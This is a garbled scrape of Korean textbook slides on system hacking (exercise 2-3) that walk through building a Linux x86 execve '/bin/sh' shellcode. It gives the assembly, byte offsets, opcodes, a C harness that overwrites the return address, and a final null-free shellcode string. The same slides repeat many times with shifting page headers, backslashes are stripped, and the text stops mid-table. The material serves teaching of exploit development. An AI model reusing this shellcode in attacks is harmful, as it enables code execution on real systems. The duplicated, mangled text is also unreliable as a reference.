x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 97: 80×86  시스템에 대한 이해

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 98: 80×86  시스템에 대한 이해

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 99: 80×86  시스템에 대한 이해

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 100: 80×86  시스템에 대한 이해

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 101: 80×86  시스템에 대한 이해

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 102: 80×86  시스템에 대한 이해

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

